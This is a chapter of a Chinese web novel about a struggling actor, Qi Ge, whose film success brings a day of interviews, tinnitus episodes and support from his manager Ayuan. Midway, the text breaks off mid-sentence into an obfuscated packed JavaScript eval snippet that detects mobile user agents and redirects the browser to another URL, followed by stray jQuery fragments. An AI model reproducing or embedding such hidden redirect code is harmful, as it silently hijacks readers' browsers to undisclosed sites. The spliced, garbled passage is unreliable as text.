随着电影票房的稳步增加，祁歌的名气也水涨船高，短短几天，他的名字在热搜的边缘反复徘徊，看完电影的观众自发地聚集在各大平台上，考古的考古，拉片的拉片，一时竟颇具盛景。


    为此公司也忙着宣传和建设，想要借着这波势头将他推一推。


    “……也是不至于吧，”祁歌浑身不自在地录完公司要求的ID，“这好尴尬啊。”


    “这才哪到哪啊，”他的助理低头检查着相机里的画面，“哥啊，我说你也该红了，毕竟……”


    她没说下去，但祁歌大概意会了，是说自己年龄大了，再不红就人老色衰，没有价值了。


    太惨了，演员这口青春饭也太难了。


    他今晚还要在片场赶几场戏，然后飞去一个活动现场跟剧组一起出席电影宣传活动，期间还要见缝插针做一些采访，凌晨再坐红眼航班飞回来，赶后天早上的通告继续拍戏。


    非常魔鬼的行程。


    小助理问他需要准备什么，还有有哪些要求要跟各路主办报备。祁歌想了想似乎也没什么，他这么多年摸爬滚打过来的，从来没提过什么特殊的要求。


    “呵你还挺随和，那采访呢，有什么不方便问的？”小助理问，“阿远姐让我跟你商量。”


    “也没……”祁歌说了一半忽然想起，“哦对了，你记得看一下提纲，不要问关于前段时间那个……女孩的事。”


    “啊？”


    “……算了采访提纲发过来之后发给我看一下吧。”祁歌决定放弃解释。


    不管是半夜几点天有多黑，摄影棚里大灯一打，一切亮如白昼。


    祁歌的视网膜里一片白茫茫，甚至耳朵也开始有点不清楚了。


    他这两天耳鸣的症状好转了不少，发作的间隙越来越长，程度也没那么严重了。


    看来确实不是什么要紧的毛病，除了让他有时候显得格外老态，也没别的问题。


    他将好消息汇报给momo老师，只获得一个庆贺表情包。


    最近momo老师大概又处于日理万机的忙碌之中，没太多搭理他。


    那便各自忙碌也很好。祁歌这样自顾自地想着。


    他深夜才从片场下了工，在飞机上开始翻阅那叠整理好的采访提纲，发现里面果然有不少问题是暗搓搓地想了解他刚被辟谣的感情生活。


    祁歌大笔一挥全部划掉。


    他身边小助理已经陷入昏睡，没来得及目睹自家艺人非常不随和的一面。


    祁歌放下那沓纸页，望向舷窗外的点点星辉。


    那是地面上交相辉映的万家灯火，此刻映在沉寂的气流之中时隐时现。


    祁歌闭上眼睛。


    曾经觉得长路漫漫，想要竭尽所能地抓住一点光亮，哪怕被锋芒划破手心也在所不惜。


    如今千帆过尽，两手空空，心里却更似乎笃定了。


    或许世间万事万物都以自己的规律发展演变，强求也好随缘也罢，都不过是命运呼啸而过时来不及细细描摹的匆匆一瞥。


    与这感慨相衬的是他的日程，从下了飞机就紧锣密鼓地一件件堆叠起来。


    化妆镜前造型师刚刚操家伙上手做发型，第一波预约的采访老师已经到了。


    由于要一边造型一边采访，祁歌只能从镜子里去看采访老师的眼睛，笑着说抱歉。


    “是我们太打扰您了，”采访老师的眼睛藏在镜片后面，其中多少有几分探究，“我看过您给采访大纲做的批注了，是有些问题不方便问吗？”


    祁歌一愣，没想到对方会第一句就把这个问题挑明。


    也是，他并非什么大牌明星，只是一个刚刚稍有起色的小透明。在这些媒体人眼中，他们本就是互相成就，各自完成工作目的就好，哪里会有什么顾忌。


    “怎么会，”祁歌笑了起来，“任何问题您都可以问，这是您的自由，只不过……”


    他在镜子里望着对方，将笑容慢慢收起来一点：“只不过回答与否的权利在我罢了。”


    那位老师闻言也是一愣，大概没想到他一个初露头脚的小演员竟然说话还挺硬气。


    “您……从业多少年了？”她这样问道。


    现在回想刚入行的时候，已经恍若隔世。


    祁歌发现自己很难记起第一次站在摄影机前，望着周围的工作人员忙忙碌碌时，心里的那点忐忑与不自在。


    那时候为了入戏，他都提前好久做准备，将台词全部熟记于心。导演喊开拍的那刻，连心跳都会紧张得漏掉一拍。


    后来随着经验的增长，这种忐忑和紧张渐渐消失了。读本时抓到人物的状态之后，他也能很快在镜头前将它调动出来，不必再花太多精力入戏出戏。


    只有提前背下剧本的习惯依然保留了下来。


    “那么现在演戏会觉得更轻松吗？”采访老师问。


    “好像也不是，”祁歌思考着说，“会从另一个方面更严格要求自己，那就是去体验和感受角色，而不是用自己熟悉的套路去套在人物的壳子上。”


    “是体验派啊，听起来你已经是个非常成熟的演员了。”


    听到这句话，祁歌下意识地想要否认。


    虽然拍戏也拍了七八年，但他自觉离“成熟”这个词还相距甚远。


    除了这部电影，他没进过什么大组，甚至也没演过几个真正的主角。


    他外貌身段各方面的条件虽说没什么短板，但也没有太多让人一见难忘的东西。


    因此这么多年来，一步步走过的路总是举步维艰。


    那么他有什么呢？


    这么多年里，抛开这些不算什么的日积月累，是什么支撑他留在了镜头前？


    “其实我经验还很浅，”祁歌挑了惯用的话术说，“还是有很多进步的空间吧。”


    他想了想，抬眼看向镜子里那道探寻的目光：“这些年都是一个人琢磨，可能收获也有限，所以希望观众朋友们，特别是您这样专业的老师，多多批评，帮助我进步。”


    对他来说，这是客套话，也是实话。


    热度的上升从来都不会只伴随着赞美。


    虽然祁歌还没来得及去关注太多网络上的动态，但他已经可以想到会有许多的攻击与批评即将随着热度而来。


    他会接受这些。


    与见缝插针的采访相比，参与电影的公开活动是更简单的部分。


    毕竟祁歌临时获得的热度再多，放在整个电影的体量上，也不过是沧海一粟。


    因此他不需要承载太多的期待与关注，只需要安安分分地组成电影宣传中的一角即可。


    这也是他这么多年来最适应的状态。


    活动结束后祁歌换了个场地，继续他紧凑的日程，饭都是在车上吃的。


    阿远安排得很细致，早上的采访是只录音的播客或是文字媒体，妆造做好之后的几个采访则是需要录像的，祁歌换了服装师配好的衣服，坐在镜头前举着麦克风，被主持人的各种游戏小连招逗得失去了表情管理。


    一整天的忙碌，他的耳鸣到底还是发作了那么几次。阿远和小助理一整天都陪着他，随时监测他的举动和言行，在合适的时候出言指导：“不好意思下个活动的时间快到了”、“可以暂停一下吗？我们整理一下造型”……


    来之前阿远跟祁歌说过，他只管表达真实的自己，尽力而为，其他的事情由自己来操心。


    她做到了。


    不知不觉，阿远也长成了一个专业又可靠的人。


    祁歌直接表达了自己的欣慰，被阿远不轻不重地敲了下脑壳。


    她这个动作令祁歌颇有点百感交集。


    生病之后，好像这是第一次有人像程书仪曾经那样，伸出手敲一敲他饱受磨难的脑袋。


    不再小心翼翼地对待他，反而令他感觉真正回到人间。


    在这满满当当漫长的工作中，祁歌还不忘记给momo汇报了一下自己的行程。


    “我也在忙呢，”momo大概也是忙里偷闲地回复，“加油吧。”


    祁歌收起手机，长长吸了一口气。


    采访做到后面，同样的问题被反反复复问起，一开始还需要思考的答案已经可以脱口而出。


    但祁歌想着，每个媒体老


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986565|187202||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    师都是带着诚意来的，总不能让人失望而归。


    于是他还是尽量从记忆中找出点不同寻常的东西出来，想办法让友好的探寻都不落空。


    “要不要暂停一下吃个晚饭？”阿远在一个采访的间隙这样问。


    由于上午的公开活动结束得稍有些晚，他们下午的行程本就开始得迟了点。再加上补妆准备的时间，现在即将排到采访的老师已经多等了一个小时以上。


    祁歌犹豫了一下，问现在后面还剩几个。


    “已经做了八个了，”小助理说，“还剩三个，先吃个饭吧，飞机起飞前还是来得及做完的。”


    “那后面的老师要等太久了，先做完吧。”祁歌决定说。


    “你还行吗？”阿远问。


    祁歌抬头看了她一眼。


    其实这个问题之前阿远给他做助理时，问过他很多遍。


    只不过，那时候她的语气是担忧的、失措的，总有种焦虑惶恐的情绪隐藏其中。


    但此刻她问出这句话时，祁歌听得出她的语气是笃定的。阿远只是为了确认他的状态，来确定下一步的工作安排。


    “嗯，”祁歌也认真地对她点头，“我还撑得住，你不是带了些小面包什么的，给我一个先垫垫。”


    说了一整天的话，他的嗓子都有些哑了，不得不用力清了清：“那些还在等的老师，给她们点些咖啡茶点吧，问问需不需要签名照什么的……”


    “行了这些我都知道，”阿远打断了他的嘱咐，让助理递上温热的梨汤，“你省着点嗓子。”


    虽然全部工作都挤在一天，但这些采访内容会被不同媒介剪辑制作后，在之后的一段时间陆续被发布出来。为了有点新鲜感，阿远给祁歌带了好几套衣服和搭配，这时候如同台侧抢装一般改了改造型。


    “这部戏拍完，你的选择会多很多了。”阿远这样说，“最近已经有几个新剧本找你，你有空看看。”


    “哪还有空看剧本啊，”祁歌语气轻软地撒娇，“最近睡觉时间都快没有了……”


    阿远望着他几秒，叹了口气：“好吧，我找公司的老师先帮你筛一遍。”


    祁歌有点讶异：“这么好？”


    “你现在红了，有点自觉吧，”阿远终于笑了笑，“还等着你当公司的台柱子呢。”


    程书仪晚上忙完回到家，拿出手机看了看祁歌的动态。


    她已经有段时间没这么做了。


    今天破例，是因为消息栏里祁歌描述的行程实在有点夸张，或许该检查一下他有没有把自己折腾死，程书仪这样想着。


    活动现场的视频切片里，祁歌妆发齐全，跟着电影剧组的主创们一同踏上舞台。


    大概由于最近连轴转，祁歌肉眼可见地又瘦下去了一些，但明亮的灯光照在他的身上，映出一双闪闪发亮的漂亮的眼眸。


    程书仪没在他眼中看出任何疲态，只觉得被这人身上镀上的一层红气闪了下眼睛。


    这感觉有点像曾经资助的女童考上了大学，莫名有些欣慰，还有点骄傲。


    公开的见面会之后，主创们分别有一些直播型的采访。程书仪在粉丝的镜头里看到了祁歌身边的阿远，还看到一路小跑安排各种事项的助理。


    采访时举着话筒话说了一半，祁歌忽然蹙眉停了话音，抬起手按了下耳朵。


    程书仪知道他最近耳鸣的问题，还没来得及为此紧张，就看到立刻有人上前解围，给祁歌递了水，说要调整麦克带他离开了镜头，接着很快重新回来。


    主持人显然也是知情的，插了句宣传语进行了自然流畅的配合。


    一时间，这场景令程书仪颇有些感慨。


    之前的这些年里，她看过很多次祁歌在某些公开活动中隐忍难耐的画面，也见证过这人咬碎了牙也要坚持工作的倔劲儿，每次看到心里都很不舒服。


    如今众星捧月，他也可以因为一点不适就这么轻松被叫下来，等缓解了再完美地完成工作。


    可能人有时软弱无助独木难支，是因为确实少了点底气。


    有了支撑与助力，这些都是可以不药而愈的。